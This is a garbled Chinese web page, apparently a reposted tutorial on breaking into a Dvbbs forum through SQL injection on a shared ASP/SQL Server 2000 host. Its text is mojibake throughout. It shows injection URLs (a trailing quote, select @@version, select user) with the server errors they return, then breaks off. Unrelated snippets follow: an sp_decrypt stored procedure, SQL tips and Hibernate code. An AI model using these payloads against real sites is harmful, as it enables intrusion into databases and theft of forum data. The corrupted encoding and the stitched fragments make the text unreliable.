SQL×¢ÈëÈëÇÖ¶¯ÍøSQL
±à¼Ç°ÑÔ£ºÕâ¸öÎÄÕÂÎÒûÓвâÊÔ£¬µ«Ç°ÌáÌõ¼þ»¹ÊǺܶ࣬±ÈÈçÒ»¶¨ÒªÓбðµÄ³ÌÐò´æÔÚ£¬¶øÇÒÒ²ÒªÓÃͬһ¸öSQLSERVER¿â£¬»¹µÃ¼ÙÉèÓÐ×¢Èë©¶´¡£Ëµµ½µ×ºÍ¶¯ÍøÃ»ÓÐʲô¹ØÏµ£¬µ«ÒòΪ¶¯ÍøÂÛ̳µÄ¿ª·ÅÐÔ£¬ÈÃÈËÊìϤÁËÆäÊý¾Ý¿â½á¹¹£¬ºÍ³ÌÐòÔË×÷·½·¨¡£ÔÚÒ»²½²½µÄ¹¥»÷ÖÐÈ¡µÃ¹ÜÀíȨÏÞ£¬ÔÙÒ»²½²½µÄÌáÉýȨÏÞ£¬Èç¹ûÕýºÃÊý¾Ý¿âÓõÄÊÇSAÕʺţ¬¾Í¸üÊÇÂé·³ÁË¡£
ÕýÊÇÓÉÓÚÕâЩÌõ¼þµÄ¼ÙÉ裬ËùÒÔ´ó¼ÒÒ²²»ÓÃÌ«½ôÕÅ£¬ÕâÀïÌṩµÄÊǺܶàÀíÏë״̬ϵÄÈëÇÖÐÐΪ£¬ÔÚ±à³ÌÖмõÉÙ°²È«Â©¶´ÊÇÎÒÃÇÿ¸ö³ÌÐòԱҪעÒâµÄ¡£¶øÕ¾³¤ÔÚ×éºÏʹÓöà¸ö³ÌÐòµÄʱºò£¬Ò²Òª×¢ÒⰲȫºÍ³ÌÐòµÄÍêÕûÐÔ¡£
ÔÚÎÒËùÁ˽âµÄ¶à¸ö¶¯Íø7.0+sp2 µÄ°æ±¾Ò²ÓÐ2£3´Î±»ºÚÏÖÏó£¬ËùÒÔ´ó¼Ò»¹Òª¼°Ê±×¢ÒâÉý¼¶£¬Ïêϸ½øÐÐȨÏÞÉèÖᣲ¢²»ÊÇ˵¶¯Íø²»ºÃ£¬¶øÊÇ˵Ëû³ÌÐòµÄ¿ª·ÅÐÔ£¬ÓõÄÈ˺ܶ࣬ÕÒ³öÀ´µÄBUG»áºÜ¶à£¬Èí¼þѧÀï˵ÁË£¬ÓõÄÔ½¶à£¬BUG»áÔ½¶à¡£Ïà¶ÔÀ´Ëµ£¬ÎÒϲ»¶×Ô¼º¶¨ÖÆ»¯¿ª·¢µÄ³ÌÐò£¬Ïà¶ÔÀ´Ëµ»á°²È«Ò»Ð©¡£
ÏÂÃæÊÇÁùÖÐÄк¢µÄÕýÎÄ
ÏÖÔÚ¶¯Íø×îа汾ÊÇ7.0+SP2¡£Ó¦¸Ã˵°²È«ÐÔÒѾÊǺܸߵÄÁË¡£ËùÒԴӽű¾±¾ÉíµÄÎÊÌâÈ¥Í»ÆÆËüÄѶȲ»Ð¡¡£µ«ÊÇÎÒÃÇ¿ÉÒÔ´ÓÍⲿµÄһЩ;¾¶¼ä½Ó“¸ã¶¨”¶¯Íø.ÏÖÔÚIIS+ASP+SQL2000µÄ×éºÏÊDZȽϳ£¼ûµÄ¡£¶øÒ»¸öÍøÕ¾ÔËÓôóÁ¿µÄASP½Å±¾³ÌÐò£¬ÄÑÃâ²»³öç¢Â©¡£Èç¹ûһ̨Ö÷»úÉÏ´æÔÚij¸öSQL×¢Èëµã£¬¶øÕą̂Ö÷»úÓÖ°²×°Óж¯ÍøSQL°æµÄ»°£¬»ù±¾ÉÏ¿ÉÒԵóö½áÂÛ£ºÕâ¸ö¶¯Íø¾ÍÊÇÄãµÄÁË¡£ÏÂÃæÀ´¿´Ò»ÏÂʵÀý¡£
Ò»¡¢ Ê×ÏÈÈ·¶¨Ä¿±ê¡£¼ÙÉèÒÔÏÂURL´æÔÚSQL×¢È룺
http://www.xxx.com/type.asp?id=6 ²âÊÔÄÜ·ñ×¢Èë¿ÉÒÔÔÚ6ºóÃæ¼Ó¸öµ¥ÒýºÅ¡£
http://www.xxx.com/type.aspid=6' ·µ»Ø´íÎóÌáʾ£º
Microsoft OLE DB Provider for ODBC Drivers ´íÎó '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]×Ö·û´® '' ֮ǰÓÐδ±ÕºÏµÄÒýºÅ¡£
¼ÌÐø£¬ÏÈ̽²âÒ»ÏÂϵͳ°æ±¾£º
http://www.xxx.com/type.asp?id=(select @@version)--
·µ»Ø£º Microsoft OLE DB Provider for ODBC Drivers ´íÎó '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]½« nvarchar Öµ 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' ת»»ÎªÊý¾ÝÀàÐÍΪ int µÄÁÐʱ·¢ÉúÓï·¨´íÎó¡£
¿´À´ÒѾ´òÉÏ×îеÄSP4²¹¶¡¡£
È¡µÃµ±Ç°Á¬½ÓÊý¾Ý¿âÓû§£º
http://www.xxx.com/type.asp?id=(select user
Ïà¹ØÎĵµ£º
½ñÌì¸ãµÄ£¬°ïͬʲéѯÊý¾Ý£¬ÏÈд¸ö´¥·¢Æ÷£¬½ØÈ¡http://www.chinaroyalgroup.cn/aspnet_client/system_web/2_0_50727/dispbbs.asp?boardid=1&id=836ÀïµÄÓòÃû
IF EXISTS (SELECT name from sysobjects
WHERE name = 'gs_MySub' AND type = 'P')
DROP PROCEDURE gs_MySub
......
SQLÓï¾äµÄÌí¼Ó¡¢É¾³ý¡¢ÐÞ¸ÄËäÈ»ÓÐÈçϺܶàÖÖ·½·¨£¬µ«ÔÚʹÓùý³ÌÖл¹ÊDz»¹»Ó㬲»ÖªÊÇ·ñÓиßÊְѸü¶àÁé»îµÄʹÓ÷½·¨¹±Ï׳öÀ´£¿
Ìí¼Ó¡¢É¾³ý¡¢ÐÞ¸ÄʹÓÃdb.Execute(Sql)ÃüÁîÖ´ÐвÙ×÷
╔----------------╗
¡î Êý¾Ý¼Ç¼ɸѡ ¡î
╚----------------╝
×¢Ò⣺µ¥Ë«ÒýºÅµÄÓ÷¨¿ÉÄÜÓÐÎó(ûÓвâʽ)
Sql = "S ......
create PROCEDURE sp_decrypt(@objectname varchar(50))
AS
begin
set nocount on
--CSDN£ºj9988 copyright:2004.07.15
--V3.2
--ÆÆ½â×Ö½Ú²»ÊÜÏÞÖÆ£¬ÊÊÓÃÓÚSQLSERVER2000´æ´¢¹ý³Ì£¬º¯Êý£¬ÊÓͼ£¬´¥·¢Æ÷
--ÐÞÕýÉÏÒ»°æ"ÊÓͼ´¥·¢Æ÷"²»ÄÜÕýÈ·½âÃÜ´íÎó
--·¢ÏÖÓÐ´í£¬ÇëE_MAIL£ºCSDNj9988@tom.com
begin tran
......
< type="text/javascript">
< type="text/javascript">
Èç×ªÔØ£¬Çë×¢Ã÷³ö´¦£ºhttp://blog.csdn.net/robinson_0612/archive/2009/11/07/4783702.aspx
Ëæ×ŵ±½ñÊý¾Ý¿âµÄÈÝÁ¿Ô½À´Ô½¿ìµÄ³¯×ÅÔÚ´óÐÍÊý¾Ý¿â»ò³¬´óÐÍÊý¾Ý¿âµÄ·¢Õ¹£¬¶ÔÓÚÊý¾Ý¿âÖеĴóÐͱíÒÔ¼°¾ßÓи÷ÖÖ·ÃÎÊģʽµÄ±íµÄ¿ÉÉìËõÐ ......
detachedCriteria.add(Restrictions.or(
Restrictions.like("chengBanDanWeiIds", rForm.getChengBanDanWeiIds()+(char)13, MatchMode.START),
Restrictions.or(
&n ......